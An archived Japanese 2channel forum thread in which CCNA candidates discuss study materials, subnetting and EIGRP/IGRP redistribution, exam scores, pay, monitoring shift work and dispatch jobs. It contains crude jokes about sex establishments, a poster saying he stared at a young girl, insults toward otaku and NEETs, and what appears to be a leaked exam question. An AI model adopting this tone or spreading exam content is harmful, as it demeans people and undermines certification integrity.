【初心者】CCNA PART13【脱退】

こちらは、CCNAのスレです。
Part12よ りNA・NP総合スレは 住み分けを図るため、分けることになりました。

みなさんのモラルのある対応をお願いします。


PART10 スレ
ttp://school4.2ch.net/test/read.cgi/lic/1095729848/
PART11 スレ
ttp://school4.2ch.net/test/read.cgi/lic/1104407301/
PART12 スレ
ttp://school4.2ch.net/test/read.cgi/lic/1109463064/

シスコ
ttp://www.cisco.com/japanese/warp/public/3/jp/event/tra_ccc/ccc/certprog/paths/associate/ccna.shtml
ttp://www.cisco.com/japanese/warp/public/3/jp/event/tra_ccc/ccc/certprog/paths/professional/ccnp.shtml

資格ふりーく
ttp://xfreak.com/

プリッツアンアンヘイコッコー

>>1
スレ立てオツ

>>1
乙です。

CCNAふりーくもレベル下がったな。
RIPｖ２について調べもしないで質問してきた香具師がいたんだが
そんなの自分で調べろとレスした奴が逆に叩かれた。
まぁそのスレは削除されたけどよ。何でもスレ立てればいいもんでもないが。

質問するための掲示板でそれくらい調べろはどうかと思うけど
２ｃｈと勘違いしてない？

よほどレベルの低い質問だったんだろうよ

その質問内容だがRIPv2について認定ガイドに載ってないから
概要を教えてくれというもの。そんな質問するﾔﾂ信じられない。

乳臭いスレだな。
書き込みも少ないし。スクール厨どうしたんだ？

明日CCNA受けてくる！
独学で黒本と日経認定ガイドで勉強した。

わくわくしてきたぞ！
RIP2、EIGRP、OSPF問題を落とさないように
気をつけるぜ！
合格したらピンサロ直行だ！

>>10
そのピンサロ代ってもしかして、
CCNA 落ちた時の保険か？？ｗ

>>11
そう、落ちた時の再チャレンジ代だよ。
CCNA代だとソープにはいけないし、
CCNAﾎﾙﾀﾞｰらしくピンサロで我慢しとく。

CCNPの時はソープだな。

一度に二科目以上受けるのなら、行けるのだが。

>>12
でも、ピンサロ 2発はいけるな

がんがれｗ

CCNAってホントに中途半端な試験範囲だよね
CCNA取った後、CCNP取れとは言わないが、せめてCCNPの参考書くらいは目を通してほしいよ

と、平日の昼間から2chで愚痴しか叩けないニートが申しております。

>>16
はぁ？？？？今20時で昼間じゃないんですけどぇ？？？？？

>>16
ネタですか？

>>17-18
ネタですか？？
それともエイプリルフールだから？

>>16
＞と、平日の昼間から2chで愚痴しか叩けないニートが申しております。

オマエも昼間から書き込んでるけどな

すいません。試験範囲で質問ですが、
現在、旧試験の607の参考書に足りない部分を811の参考書で補ってるんですが、
STPとRSTPの解説があります。
試験CCNA　640-801JでRSTPは試験範囲なんでしょうか？

そんなん初耳だよ
ないよ

CCNA落ちた。７００点しか取れんかったorz....
今の出題形式は黒本や認定ガイドにでてくる
単純な選択問題じゃないんだね。
今後、受ける人たちは黒本などの
昔の問題集だけじゃあ見たことのない
問題を見ることになります。

今後の課題はSHOWコマンドの内容を熟知と
暇つぶし問題をもっとやることかな。

ﾋﾟﾝｻﾛはお預け、彼女とカラオケやってきた

>>23
800点台で不合格ならわかるが
700点ってのは勉強してなさすぎ・・・

勉強方法を根本から考え直したほうがいいよ・・

>>24
認定ガイドもっと読んで
頑張るよ

4月1日から 「皇紀」って何？

日付見てみて。分かる人いますか？

エイプリルフールのひろぽんのお遊びでしょ
もう2日だけど

>>10 今、黒本やってるけどそれだけじゃダメなんだな。

今も昔も出題形式は変わらないはず。
黒本の問題がそのまま出るわけがない。
初めて受けた人はその出題文に戸惑うはず。

俺が受けた時代は
日経BPの認定ガイド第二版を完璧にしておけば
普通に合格できたんだけど、今は違うの？

いや。でも700点はあんまりだよ。。。
黒本やれば受かるかもと淡い希望もっているのもちょっと。。

年々、CCNA受験者のレベルが落ちてるとは聞いていたけど、その通りなんだろうなぁ。

>>10にはもっと気を引き締めてがんがってほしい

>>10ってどれくらい勉強したの？

黒本だけで合格って難しい？
スクールに払う金がばからしくて、自分で勉強しようと思っているんだけど、どうでしょうか？
みんなどれくらいの時間を掛けて勉強しているの？

>>24=>>31
ウザイよお前

>>33
ペーパーでいいなら
黒本　5000円
CCNAふりーく暇つぶし問題(有料)　6000円
上記を猿みたいにやって　丸　暗　記　しましょう　
あとは足りないなと思うところをWebで補えば低コストかつ身に付かずにCCNAゲトできます

黒本だけで合格したよ。
ネットにCCNAの勉強の参考になるテキストサイトばしばしあるから、
それを見れば 教科書はいらない。
例えば、30分NETWORKINGとかだな。

あとは、他CCNAの教本をひたすら本屋で立ち読み、パターンをつかむ


これでNAは合格できたよ。
頭いい香具師は、スクールや シミュレータなんていう高価な馬鹿げた勉強法するな。
金のムダ。


NAさえもってりゃ、面接でなんとでもアピールできる。それ以上深く面接官から追求されんし。

NAとって、業界でかなり有名なとこに就職しますた。
若さってすばらしぃ。残業代も全額支給だぜ（;´Д｀）

残業代全額なんて当然だろ。
くれないとこが異常なんだっつーの。

>>37
何歳？

>>38
あたりまえであるはずの残業代をくれないから問題なんだよ。
この業界。

えええ。。。
某派遣会社が残業代未払いで晒し上げだし、
それでも残業代未払いなんて 今はよっぽどのことじゃなけりゃ、ないんじゃね？
平気だろ。。。


つか、ネットワークエンジニアに限ればシフト制勤務もいまだに多いし、
残業自体がない、って会社も多いんじゃねーかな？ウチもそうだし

>>41
シフト制なんて運用監視以外では無いだろ・・・
シフトにする意味が無い。
あとは24h体制のヘルプデスクか

>>42
正論だが、
ここはCCNAのスレだし、NA持ちが入るのはだいたい運用監視保守からだろ、と思いレスしたんだわ

シフト勤務なんて人間にやらせるものではない
常に不安定な生活で絶対寿命縮まるよ

>>37
業界でかなり有名ってどれくらい？？？？？？？
シスコのゴールドパートナー？？？？？？

>>44
激しく同意。
特に出勤日だけで無く、出勤時間もシフトするところは最悪。
常に出勤時間を気にしながら生活時間を調整しないといけないし、
遅番の日なのに、早番の起床時間に反射神経的にあわてて起きて勤務表を確認してたり。

>>46
休みの曜日が一定してない上に、リタイヤが出てシフトがころころ変わったりすると、
休日なのに休日じゃないような気がするんだよな。
本当に今日出勤日じゃないのか？って。強迫神経症になりそうだよ。

こっちのスレの住人はヒサンな奴ばっかだなｗ

下流・下積みにあたるシフト勤務できない香具師に、
ネットワークエンジニアができるとは思えん。

ちと甘い夢見すぎじゃねーの？遅番できねーとか、生活リズムくずれるとか嘆いてる香具師って

ところで監視のシフト勤務で働いてる人って夜勤時に仮眠もらえてる？
うちは16時間勤務で暗黙で了解されてる仮眠時間が2時間くらいあるんだけど。

>>49
ネットワークエンジニアの定義が分からんが
デザインやるなら別にシフト勤務がどうとか関係ないだろ。

設計以外はNEじゃないと思ってるんだけど俺。
んで俺はCEだ。

監視は奴隷ｗ

>>51
ウチの会社だと、まず１−２年は監視やらされて
（人手が足りない、そいつの忍耐力を養う、資格用の学費を稼ぐ意味合いがある）、
その監視の間に足りない知識と、業界必須な実務経験年数を稼ぎ 次にそなえる。
もちろん、やる気ないやつはどんどんやめてくし、逆に監視に5年とか居座っちゃってる志しないヤツも少ないない。
ただ、１−２年後 多くの社員は、
運用構築や、設計や、CE.希望の中流にどんどん転職してるよ。

最初からCEやヘルプデスクもありだが、
まったく実務経験ない香具師には、難しいといえざるえない道だと思うぞ。

デザインは・・・またネットワークエンジニアの一つなのかなぁ？
サーバやネットワークインフラを守り構築する。両方できるのが新のNEだと俺は思ってる。

特にキャリアなくて転職しようと思ってる香具師は、
ぶっちゃけ体力と、精神力ないとやってけない業界だなぁ。

>>52
しょぼい会社だなｗ

>>54
どの辺がしょぼいんだ？
ウチの会社も似たような条件だぞ。標準だと思う。

>>52
日本語知らなさ杉
＞志しないヤツも少ないない。
＞いえざるえない

人と話した事無いだろおまいｗ

>>56
釣りオツ

（´･ω･‘） 現実認めたくない粘着が一人いるな。

>>57
うわ、正しいと思い込んでるんだｗ
もまい恥ずかし杉

とりあえずモチツケ、藻前ら。
あと批判するだけで自分の意見を言わない>>59もどうかと思うぞ。

これからネットワークの仕事付きたい人から見れば、気になる話であるしね。

ルータとかスイッチとかの設計って
ほとんどパターンが決まっちゃってない？
QOSぐらい？頭悩ませるのは

そりゃ設計じゃなくて設定でしょ
まぁ設計もある程度パターンはあるけど。

スクール出身の低脳NAが増産されているので、資格の価値が暴落中。
ある程度の能力持っている奴なら、NAは費用対効果考えて独学で取得する。
NAの勉強をスクールいって教えてもらってるようでは、技術革新が早く変化に対応し続けないといけない
ネットワーク業界の中で生き残っていく事はできないだろうな。

>>63
予備校と同じで金さえ払えば何とかなると思ってるんだよ。
まぁ、現に何とかなるし。
しょうがないんじゃねーの？
俺は独学で合格したものだがスクールに逝けば質問も気軽に出来るし
実機も扱えるし、何と言っても的中率が高い問題集（怪しいなぁ）が
ついてくるっていうから羨ましかったけどね。
独学で駄目だったからスクールに逝くってんじゃなくて最初からスクールに
逝くって奴がほとんどなんだろうな。

俺の勉強量は
黒本２周と認定ガイド２周。

今は暇つぶし問題やってるよ。

ところでみなさんCCNAやCCNP持っていて
どこくらい手取りでもらってるのですか？
業界の人間性も気になります

スクールってもちろん会社負担だよね？
自費で行くアフォなんていないよな？

>>65
手取りにしろ人間性にしろピンキリだろうな。
俺としては実務経歴なしNA取得であっても手取り30万以上は要求したい。
実務経験を1年積んだら手取り50万以上は要求したい。
実務経験を2年積んだら手取り70万以上は要求したい。

>>65
俺は派遣で月20万。
はっきりいって安い。
人間関係も良くないので何時辞めても問題無いと思ってる
つーか、いる意味が余り無いので半年で辞めるか一年続けるか悩み中。

>>68
派遣で月20万って少なすぎない？
業務内容は？

>>67
どっかの求人サイトの時給・月収を目安に考えてるんだろうが

現実そんな甘くナイゾ



ほぼ、求人サイトにのってる案件はブラック、誘い餌だぜ。
ためしに その求人派遣だしてる会社に登録しても、”その仕事は締め切りました” って言われて 別の案件紹介されたよ。
もちろん、待遇は低い案件だったな。

あと、条件いい案件ほど人が集まるもんだから、意外と派遣の顔合わせで落ちるコト多い。
正社員の面接とかわらん。

技術ないヤツが顔合わせとおるには、希望時給なり待遇の要求下げるしかないし、
だいたい、NA持ちで未経験なら20万程度に落ち着くのが現状。
実務経験一年以上でも、25万ぐらいかなぁ？

>>69
ネットワーク監視。
業務未経験だったから監視の仕事から始めようと思った。
25万位貰える所は結構あるだろうから何時辞めてもいいと思って
働いてる。
そう考えると気持ちも楽だけどね。
スキルアップにならないし、社員との人間関係も余り良くないし。

基本給20ﾏｿ＋残業代で月給30ﾏｿが目安。
派遣は知らんｗ

やっぱ監視はスキルアップにならないか。
でも業務未経験で いきなり設計構築に入り込めるような就職先 ある？

俺も今 監視やってるんだが、一年やって業界経験積んでから転職しようと考えてる。

>>72
基本給低けりゃ、残業代もさほど出ないってｗ

>>73
未経験者だから仕方ないんだろうけど
給料が今より高い所なら結構あるからね、、
監視なら資格無しでも月30万位残業無しも貰ってる知り合いがいるし。
やってる事は俺よりも簡単な仕事らしいし。

>>70
駄目そうな奴には美味しい案件は回さず締め切ったと言われるよ。
だってコーディネータから見て明らかに駄目なやつが顔合わせで通る訳ないからね。
そしてそいつでもできそうな案件を紹介される。派遣業界なんてそんなもんだよ。

でも確かに誘い餌のケースもある。
ある派遣会社は明らかに嘘の締め切りトークで、長期で監視・保守要員の案件を紹介してきた。
その案件は常に募集してるから、締め切りな訳ねーのに。
派遣会社からしたら自分の会社に長く利益をもたらしてくれる監視・保守が美味しいんだろうな。
頑張ってNA取った実務経験なしを、安い時給（その派遣会社は相場より結構低い賃金）でやとって、
派遣会社の奴らはNA持ちという理由で、それなりに顧客から金引っ張ってるんだろうな。

うちの会社に偽装派遣の人が来るが、
自社で仕事ができないのは哀れだ。

>>73
監視1年やっても設計構築に転職できないだろ。
だって設計構築に求められるのは、それに準じる実務経験だからな。
せめて設定とかのフィールドエンジニアの方が実務経験として認められそうだが。

これから募集がかかる案件も運用とか保守が殆どだろうし、
転職組みにとって設計構築は狭き門だろうねえ。
そういう上流工程に求められるのは顧客との折衝能力だったりする訳で、
そういった業務が嫌なら運用の道を究めた方がいいと思う。

>>78
どうだろうねぇ。
ネットで情報探すと、

監視保守 （仕事しながらＣＣＮＰ取得）→構築設計に転職

ってキャリアアップを載せてる例が多いじゃない？
だからさ、やはり未経験はコノ道を歩んでいくしかないのかなと思い、今耐えてるんだが。
・・・だまされてるのかね？もれらは


ただ、俺の場合は 某大手で すでに監視の仕事についちゃってるから そう簡単に転職するわけにもいかんし。
”監視の仕事が楽で高時給で高望みしなければ安泰”とか言って４年近く監視やってる先輩いるよ。
ああはなりたくないなぁ、と反面教師にしつつ、ＣＣＮＰとＤＡの勉強するつもり。

>>80
監視と保守一緒にしてんなよｗ

さてと今からお台場に夜勤にいってきます。
あー、鬱だ。
>>80
給料が良ければ、まだマシだけど俺は20万で交通費自腹だからな。
BSCIの勉強でも少しづつ始めるかな。

>>81
一緒じゃないの？

見てるだけとトラブルシューティングが一緒か？？？？？

>>83
保守は障害の対応もやるんだよ。
監視でアラートがあがったら保守の連中に連絡。
実際に対応するのが保守。

>>81
ウチは監視しつつ、トラブル発生したら保守
保守っていっても、トラブル発生前のデータに戻すだけ、の簡単な作業だけどね。

監視→画面を見て異常があれば保守にエスカレーション
保守→トラブルシューティング
運用→
構築→
設計→

うめていってけれ

>>82
お台場のくせに ２０万で交通費込みってオニだな。
転職をオススメする。。。

ちなみに、ウチは２５万で交通費込み。
もち、夜勤ありだが

俺は実務経験なしで30〜35万交通費込み

監視→画面を見て異常があれば保守にエスカレーション
保守→トラブルシューティング。一次切り分け
運用→
構築→
設計→
コーディネータ→

>>88
まだ俺より条件いいね。
いつでも辞めれるってのもあって気持ちは楽なんだけどね、、
では逝ってきます。
鬱だ。

なんで設計の上流がコーディネータになるんだ。。。

監視→画面を見て異常があれば保守にエスカレーション
保守→トラブルシューティング。一次切り分け
運用→
構築→
設計→
プロマネ→
コンサル→

>>91
監視職の中では、かなり下な月収と言わざるえないね。。。
がんがっておくれ。。。


>>89
詳細キボンヌ

まさか監視と保守が一緒だと思ってるから監視から初めようって行ってる奴がいるのか？？？
トラブルシューティングは奥が深いぞ？極めたら設計とか行く必要ないかもな。
深夜に叩き起こされるのが一生続きそうだがｗ

監視なんて実務経験積むには時間の無駄だからなるべくやらないほうがいいんじゃない？

>>92
漏れは いつかＩＴコーディネータになりたかったので。
ちとずれたキャリアパスだったかな？スマソ

もれは設計・コンサルの仕事してるけど
監視運用の経験はない。
導入とかconfig作成とかの導入作業は経験あるけど。

監視運用は楽そうだからやってみたい。

ちょっとだけまともな話になってるな。業界知らない奴にはいいかもな。








CCNAとは関係ないけどｗ

>>94
んじゃ実務経験ない香具師はどこから始めればいい？
そこが問題なんだが。

あと、いくら監視といえど、少なからず保守、切り分けは絡んでくるよ。
少なくともうちの会社の話だが。

>>96
設計・コンサルなら給料いいんじゃないの？

>>97
ＮＥなるためＣＣＮＡ取得目指してる香具師にとっては、
モチベーション高める上でも かなり有効なんじゃね？ｗ

ほ〜、設計にもぐりこむには
CCNxじゃあないのか。
CCDAは設計だよね？

>>10
キミは設計より、体動かす職業のほうが向いてる希ガス

ネットワークSEとNEの違いは何だ？

やっぱ、定職についてるのと無職はスレ分けた方がいいんじゃね？ｗ
妬みそねみの醜いスレになってね？

設計とかやるのはいいいけど
客先業務で鬱

金の話出しちゃ駄目だよなｗ

>>105
客先業務て鬱なの？

飲み会とか無い就職先ってあるかな？
カラオケとかマジで鬱

>>108
派遣社員なら 蔑まされ 日陰を生きる生活なので。

・・・・あんま誘われないよ。
誘われなさスギってのも悲しいけどね

監視→画面を見て異常があれば保守にエスカレーション （シフト制で夜勤あり）
保守→トラブルシューティング。一次切り分け
運用→
構築→
設計→
プロマネ→
コンサル→


続きキボンヌ

>>109
詳しく

>>111
月や年契約の派遣社員。どうせいなくなるってことで、
社内の有効の輪に入り難い・入れてもらえない雰囲気はある。

私も10さんと同じ印象を受けました。

結果800も届きませんでした。（泣

sh や debug の結果を見慣れていないと駄目かもしれません。


ちなみに
にっけいBP ２周。日経　問題集３週でした。
今、黒に手を付けてますが、どうなることやらです。。

シムレーションは、初めてでしたが、「繋げろ」問題で、
設定後にping打って返ってくるようになったので、正解でいいのかな？

思わず
copy run sta
もしといたけど。。。

受かったらまた書きますわ。

今だから独白するが

実は漏れ

3回CCNA落ちて

やっと4回目で合格したんだ。。。



意外と 落ちてる香具師おおいし、>>113もガンガレ
>>10もガンガレ

アカデミーでた奴でも取得までの平均受験回数１．５くらいだっけ？
ま、俺は受験時期の決まっていない試験なんで900点を大幅に上回る点数で一発合格して当然だと思ってるが。
落ちる奴は準備不足以外のなにものでもないと思う。

平均受験回数は 申告制でしょ。
何度も落ちてる香具師は 言わないから、
実際値はもっと上だとおもわれ。

3回うけてうからなくて 受験諦めたひともしってるし

ＣＣＮＡ一発合格で900点余裕とかこいてるやつは、
本当にＮＡ受験して合格してるのか？と問いたい


なんか胡散臭いんだよね



ちなみに漏れは、880点で一発合格だったが、正直言って難しかった。
Ｃｉｓｃｏ語とも言われる、独自な日本語の書き方な設問が多いし。
初受験のヤツはまず戸惑うとおもうし 点数にも響くはず。


>>受験時期の決まっていない試験なんで900点を大幅に上回る点数で一発合格して当然だと思ってるが。
>>115は合格したのか？

>>24=>>31=>>115
ニート乙

>>117
軽く900点オーバーで一発合格してますが何か？
十分な準備をしていたので受験前から確実に受かるだろうと思ってたくらいだし。

ﾌﾟ
文字列なら何でも書けるが（ｹﾞﾗ

つーかNAごときの試験で難しいとか言ってるような奴ってIQ低いだけだろ。
俺にとってNAなんてキャリアチェンジの道具でしかない。
夢みてる奴には悪いがIQ低い奴はNAとっても大した仕事できないぞ。

コーディネータも案件の募集かけても程度の低いNA取得者が多く来るって嘆いてるくらい。

そろそろせんずりこいて寝るか。

>>117
俺も独学で900点中盤で一発合格なんすけど？
4ヶ月くらいだらだら勉強したんで当然だけどな。
何度も金払いたくなかったし完璧に仕上げてった。

二進数の計算だけは学生のときに叩き込まれてたから
暗算でサササッとできるんでそれが一番でかいかもなｗ

俺は独学で960点で合格。
でも、スコアシートの提出なんか求められないから意味ないね。
胸を張って合格ですと言える点数だと思う。

>>121
>俺にとってNAなんてキャリアチェンジの道具でしかない。
>夢みてる奴には悪いがIQ低い奴はNAとっても大した仕事できないぞ。
IQの低さがわかる矛盾のある発言だなｗ

NA取った奴はNPスレいけよｗ

ふうむ。
俺がバカなだけか。

高得点 一発で取ってる人多いのね。
スマンカッタ

やっと気づいたかｗ

サブネット計算がわかんねえorz

>>130
おいおい。
この業界で一番必要な技術だろそれ。

ＣＣＮＡ自慢厨はさっさとＮＰスレいけってのｗ
もしくは、ＮＡ合格のためガンガッテル香具師に、アドバイスという名の優しさをくれてやってくれ。

ttp://www.n-study.com/network/2000/12/post_12.htmlの
問1の解説で

IPアドレス： 11001000 10101010 01000110 00010000
サブネットマスク 11111111 11111111 11111111 11110000

これより、IPアドレスの最後の１バイトの上位４ビットまでがネットワーク番号、
残りの４ビットがホスト番号ということがわかります

とあるのですが、なぜ分かれてることになるのでしょうか

質問の意味がよく分からんが、サブネットマスクが255.255.255.240なので

256-240＝16　つまりネットワークアドレスは　200.170.70.16　200.170.70.32　200.170.70.48　・・・・となる

第4オクテットが16の倍数ならそれは、ネットワークアドレスということ
ネットワークアドレスとブロードキャストアドレスはIPアドレスとして割り当てられないので
第4オクテットが16の倍数か、16の倍数-1　なら割り当てられないという事

その問題に関してはネットワークアドレスが　200.170.70.16　なので
選択肢から該当するのは　200.170.70.31

これ程度なら問題文読んでから、筆記なしで５秒くらいで回答できるようになった方がいいな。

>>133
まさかサブネットマスクが1の部分がネットワーク部、
0の部分がホスト部という基本的な事が分かってないのか。。。

>>133
> IPアドレス： 11001000 10101010 01000110 00010000
> サブネットマスク 11111111 11111111 11111111 11110000
>
> とあるのですが、なぜ分かれてることになるのでしょうか

Ans.　そのよう（255.255.255.240）にサブネットマスクを設定したから。
ビットに1が立てばネットワーク部
ビットに0が立てばホスト部な。
これ決まりごと。

うーん理解できません。。
上の質問はIPアドレスの第４オクテットが１６、
２進数だと０００１００００になってますが、
解説によると上位４バイトの０００１がネットワーク番号
ということですよね。残りがホスト番号だと。
で、CIDR表記があればホスト部がわかるのですが
書いてなかったもので・・
サブネットマスクの2進数表記がそれを表してるのです？

ってまさにそれですた
乳首吊ってきます

>>135
だな。
俺の言ってること間違ってないよな？

>>139
それじゃ気持ちいいだけじゃねえかよ！！！！！

131のノリツッコミ キター（＊´∀｀）

どうでもいいが今日イトーヨーカドーにいったら
７、８歳くらいの東欧系の女の子が親と一緒に歩いてたんだが
物凄く可愛くてしばらく見とれてしまった。

あ、それよく分かる。
でもすんげースレ違いだな。

実問題スレスレの質問なんですけど。。。



EIGRPとIGRPを混在させた時って、互いに再配布とかするんですかね？

そんな記述がどこ探しても載ってなくて。実機もないし。

>>145
EIGRPとIGRPのAS番号が同じであれば、自動的にRedistributeします。
違うAS番号なら手動で設定する必要があります。

ぐぐっても出るぞ、これくらい。

ＣＣＮＡ受験者って オタク系が多い？
ふと思った。


秋葉原組や、ネットゲー信者の延長線上にあるのかなぁ？

>>145
つーか、それってCCNP(BSCI)の範囲じゃねーの？
再配送はCCNAは範囲外だったはずだが、、

>>148
不在通知票でも入れとけ

>>147
ねぇよ。
つーか社会にでて思ったんだがあんまりオタクいない。
あまりにもキモイやつらは就職できないんだなぁと思った。

>>147
んなこたない。
ただし、オタク素質を持ったやつは多いと思うｗ

>>150
キモくても就職できるんじゃまいか。
引きこもってる場合は対人苦手な香具師が多いからあれだが。

>>150

オタクって外見での？

漏れもオタクだが、知識のオタクなので外見ではわからぬよ。

いいかえれば、CCNAは、ネットワークオタクになるな。
東大はいれば、勉強オタクだな。

東大入れる奴は余裕でCCNA取れるけどな

>>152-153
そんなツマラン分析、誰も聞きたがっておらんよｗ


んーっと、俺の某大手のネットワーク監視仕事先では、
いわゆる秋葉系なオタクさんが3割近くいるね。
休憩時間中にアニメや美少女コミックを普通に読んでるし、空気がイタイ。
外見もキショクて脂ぎってる。体型はデブorガリ。
それが三割いるというのは少ないか多いかは判断は任せるけど。
ただ、最初は話ずらかったけど、実際はなすとそうでもなく、今は仲良くやってる。
今ではそのみちの専門として 彼らの知識の良はハンパじゃないし、頼りになるので、尊敬してるよ。


このオタク以外 残りはいたって普通の人。
明らかにエンジニアよりというよりは、お金稼ぐためにこの職場に来てるって人も少なく無かったよ。


他の職場の人の現状も聞いて見たいな。

ちなみに仕事先は汐留

あと、オタクよりもね。
根暗でnegative thinkingの人のほうが、
一緒に仕事するとき 大変だと思う。

オタクには敏感にならなくていいと思う。

シミュレーション用にNV4買おうと思っていますが
資格取った後でも役立ちますか？（スキルアップ、CCNP等）
試験対策だけならCertsimで良いかなとも思うけど

>>152
外見がアレな人って自覚が無いんだよね。

>外見がアレな人って自覚が無いんだよね

ﾜﾛﾀ

『自分は普通だ、他のキモオタと一緒にするな！！』

スーツきて、ビシッと決めてたら、普通わからんよ。

しかし>>155の言う、オタクの深い知識とはどういうことかな？
勉強したものが勝つ世界だと思うがそれには実務経験が必須になる。
オタクにはそれが限界にあるため、会社のような構築は想像すら困難では？
つまり、ネットワーク業界にあなたの言う美少女コミックの話をするオタクは少ないのでは？

今から仕事なんだが激しく行きたくない
交通費自腹、保険無しで手取り20万
早く辞めたいな。

一般論の話になってつまらないんだが、
スｰツでビシっときめても、オーラが違う香具師は多いんでないかい？
例えば、伊集院や ホリエモンのスーツ姿を想像してみてもらいたい。
そもそも、スーツ しわくちゃな香具師も少なくない。スーツ着れば、誰でも化けれるわけでもないさ。
スーツを着こなすのは難しい。


あと >>152の イウ”オタク”とは、どっちかっていうと”マニア”という肯定的な知識探求者に近いと思う。
>>147のイウ”オタク”は、
>>143の”東欧系幼女に見とれてしまった”に反応した、否定的な意味合いでないかな？




>>勉強したものが勝つ世界だと思うがそれには実務経験が必須になる。
>>オタクにはそれが限界にあるため、会社のような構築は想像すら困難では

うーん。オタクには実務経験に限界があるって主張の根拠が解らないんだけど。。。
補足お願いできんかな？
152の職場はどんな感じなの？

少なくとも ウチの職場には、秋葉系・美少女大好きオタはいるよ。脂ぎってます。デブです。
ただ、仕事に関しては 熱意もってこなすし、元々研究熱心なのか ネットワーク知識も深いので、
会社の仕事のできる同僚の一人として尊敬してるよ。
ただ、私生活ではかかわりあいたくない。 そういうのがオタク、かと

>>162
前レスにあった、夜勤 お台場の人？ｗ

夜勤で手取り20万ってのはオカスィ。 やめちまえ

これから転職しようと思ってる俺には おおいに気になる話題だな！
盛り上がってクレ！

ところで、職場の男女比はどんなもん？
いや、男ばっかな職場ってのは解ってるんだが、、、少しは夢をみたい

>オタクには実務経験に限界があるって主張の根拠が解らないんだけど

オタクというよりマニア？や素人のことですた。素人は実務経験してないので、
会社レベルの深い知識を事前に用意？知っている？ことができないためオタク
になりようがないと予想できるためです。
マニアやオタクは、偏りが激しいためなんともいえないです。

ちなみに私は素人です。w

うちは事務用で派遣女が多い。
出向き（偽装派遣）の男も結構いる。(；´∀｀)

>>166

>>166
ごめ。ウチミス。

素人のことか、、、なるほど。理解できますたｗ
たしかにマニア・オタク偏りはげしいワナ。


>>165
ウチの職場も男ばっか、だなぁ。
受付の人はみんな女性なんだが、職場はいった瞬間、男ばっか。ウホッ
監視業務ってナガイこと職場に篭らなくちゃいけないし、女の子と話したいなぁｗ
実務経験と資格とったら さっさと転職するつもりだけどね。


>>167
うらやましいｗ
ただ、派遣の女の子って、お金に厳しく クールで冷たく近寄りがたいイメージがあるんだけど。どう？

ＮＥの男の人って、臭くて近寄りがたいイメージがあるんだけど。どう？

というように派遣の女は〜と先入観を持つのはいくない
話し掛けてみたら？

>>ＮＥの男の人って、臭くて近寄りがたいイメージがあるんだけど。どう？
そ、そんなことないですよ！



漏れも、派遣女性に話し掛けてはみたんだけどねぇ。

まだ俺はＮＥ下っ端なので相手にされず。
あと、内気でクールなのか、話が盛り上がらない。。。
あるとしたら、家の財政が厳しいとか、給料あがらないかしら、とか、玉の輿ねらってる、とか、そんな話題。

話した女の子、だいたいそんな感じだったので、
他の派遣の子はどうなんだろ？と思ったんだけど。。。


漏れが運悪かったのかな？

出向男。ガンバレ！

>>167氏の仕事はどんな業務内容なの？
このスレに珍しく紅一点で、期待ＡＧＥ

いや、男だろ

出向と派遣と偽装派遣の違い

出向：
自動車業界に多く見られ、トヨタ系で例を挙げるとトヨタ系部品会社（アイシン精機など）が本体と一緒に新車を開発する必要があるため
部品会社の設計者がトヨタ本社内の設計室に行ってトヨタのエンジニア達と一緒に仕事すること。ホンダ、日産でも同様に行われている。
ある程度目星がつけば本社に戻って通常業務に入る。
また海外工場のライン立ち上げの時に手伝いに行くことも出向という。

派遣：(パソナ)
IT、自動車業界で見られ欲しいときに欲しいだけの人材を派遣先の会社が派遣会社に依頼する。
SE、PG、テスター（デバッグ要員）、オペレーター、ライン工が当てはまる。仕事が終わったら
またいらなくなったら捨てられて派遣会社に次の仕事先を紹介してもらう。

偽装派遣：(富士ソフトABCやクリスタルグループなどの独立系SI、アウトーソーシング会社)
出向・受託・常駐と称しているがやっていることは派遣と変わらない。正社員という肩書きだけ与えているが待遇は派遣と変わらない。
それにだまされて入社する人多数、特定労働者派遣事業の会社に多く派遣なのに請け負いを偽装するので偽装請負ともいいます。
２重、３重、多重の派遣は禁止されているから請負を偽装する訳です。
こんな仕事をしていたら途中の業者がピンハネするから儲かるわけがない。
だから偽装派遣会社は劣悪な労働条件で労働者を使い捨て、その多くは20代で事実上定年退職を迎えます。
その後はDQN飛び込み営業、ライン工、タクシー/トラック運転手、犯罪者、ニート、ホームレス、自殺など各自様々な道を歩みます。

>>155
監視なんかじゃなくてまともな職場の話なんですけどｗｗｗｗｗｗ

あ〜あ、パーっと飲みに行きたいな〜
焼き鳥とおでんと焼酎がいいな。

ブルーカラー　監視要員＝ライン工

20代後半になって監視とかライン工やってる奴は、そろそろヤバイと自覚しとけよ

>>150
就職板にでもいっとれ

ＣＣＮＡ取ったあとのキャリアパスって どんなもんなの？
すぐ構築に入れるもんなのかな？

んなもん本人のプレゼンテーション次第だろ。
NA持ってるからって、まともに会話もできない奴じゃどこも取ってくれないよ。

一般的に　CCNA取得→監視・保守→運用・構築→提案・設計

監視・保守とか運用の仕事はたくさんあるから、実務経験なしならそちらの方が就業しやすい。
実務経験なしで構築・設計・提案にいけるのはごく一部だろうね。

CCNA受験は、17日のソフ会の後の週にする。
今年は受かりたいな〜

>146様
ありがとうございます！

AS番号を同じにするとどうなるかはわかりました。
ぐぐったりもしてみました。


では再配布させないためには、

しー　igrp 41, eigrp 40
デー igrp 40, eigrp 41
いい　igrp 22, eigrp 22

どれを選んだら良いのでしょう？？（泣（爆

>148様
出たので、焦ってるんですよ。（なので１回落ち）
eigrp問題が思ったより多かったというか。

>>184
ぉぃぉぃ。
答え言ったし、その選択肢じゃ自明じゃねーかｗ
いいか、「AS番号が違う」とRedistributeされないんだぞ。
まずAS番号の定義と設定を勉強する事をおすすめする。
あとはその選択肢見て自分で考えてみれ。がんばれよ。

>>184


ｿﾉﾓﾝﾀﾞｲｺﾀｴﾋﾄﾂｼﾞｬﾅｶｯﾀ?

>>113といい>>10といい、
シミュレータは持ってるのか？
すごい初歩的なトコでつまずいてないか？

実機ないとしても、せめてシミュレーターで体で覚えたほうがいいぞ〜

つか、体で覚えないと、使い物にならないだろう。

>>184
それ出したらまずくね？
危険なかほりがシマス。

オクでシミュレーションソフト（中古）買うと
アップデートできんの？

あのー試験受からないんですけど。(^^;)

合格率推定何％ですかね。

推定５％以下

合格しないのは努力が足りないだけ
ガンガレ！

>>192

( Д)　ﾟ　ﾟ　　

テクニカルエンジニアネットワークより厳しいの？

最近はCCIEより難しいという噂だぞ

>>195　まじっすか！ならCCIEを受けようかな・・・・・




























んなわけねぇだろ

まじっすよ

難易度として　CCDA = CCNA になってますか？

CCDA＝CCNAの訳が無い。
CCDAはCCNPよりも難しい。
CCDAにはCCNPの知識が必要。

